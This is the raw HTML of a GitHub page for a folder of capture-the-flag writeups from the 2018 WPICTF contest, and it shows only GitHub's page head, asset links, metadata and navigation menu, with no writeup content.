<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-writeups/2018-04-15-wpictf at master · diofeher/ctf-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9274:87C6:1D4994C3:1E2AD349:64122693" data-pjax-transient="true"/><meta name="html-safe-nonce" content="9cfbe07378fdeff7b9102e66f6b048ec80ecaed256e6e92568dc072b47d35f06" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5Mjc0Ojg3QzY6MUQ0OTk0QzM6MUUyQUQzNDk6NjQxMjI2OTMiLCJ2aXNpdG9yX2lkIjoiODA3Mzc2MTA3NzUzODcyNzU3MSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="05c7afa597affd196b79281eb8abc51c3b985a0c0dce0728b3039d12dfa16bb3" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:113044948" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="solutions for challenges. Contribute to diofeher/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/efaab1fb2cfd9d4a4bd3abd1467e21fd80c1b225a367adeb6ce05f530b5ef236/diofeher/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/2018-04-15-wpictf at master · diofeher/ctf-writeups" /><meta name="twitter:description" content="solutions for challenges. Contribute to diofeher/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/efaab1fb2cfd9d4a4bd3abd1467e21fd80c1b225a367adeb6ce05f530b5ef236/diofeher/ctf-writeups" /><meta property="og:image:alt" content="solutions for challenges. Contribute to diofeher/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/2018-04-15-wpictf at master · diofeher/ctf-writeups" /><meta property="og:url" content="https://github.com/diofeher/ctf-writeups" /><meta property="og:description" content="solutions for challenges. Contribute to diofeher/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/diofeher/ctf-writeups git https://github.com/diofeher/ctf-writeups.git">
<meta name="octolytics-dimension-user_id" content="161360" /><meta name="octolytics-dimension-user_login" content="diofeher" /><meta name="octolytics-dimension-repository_id" content="113044948" /><meta name="octolytics-dimension-repository_nwo" content="diofeher/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="113044948" /><meta name="octolytics-dimension-repository_network_root_nwo" content="diofeher/ctf-writeups" />
<link rel="canonical" href="https://github.com/diofeher/ctf-writeups/tree/master/2018-04-15-wpictf" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
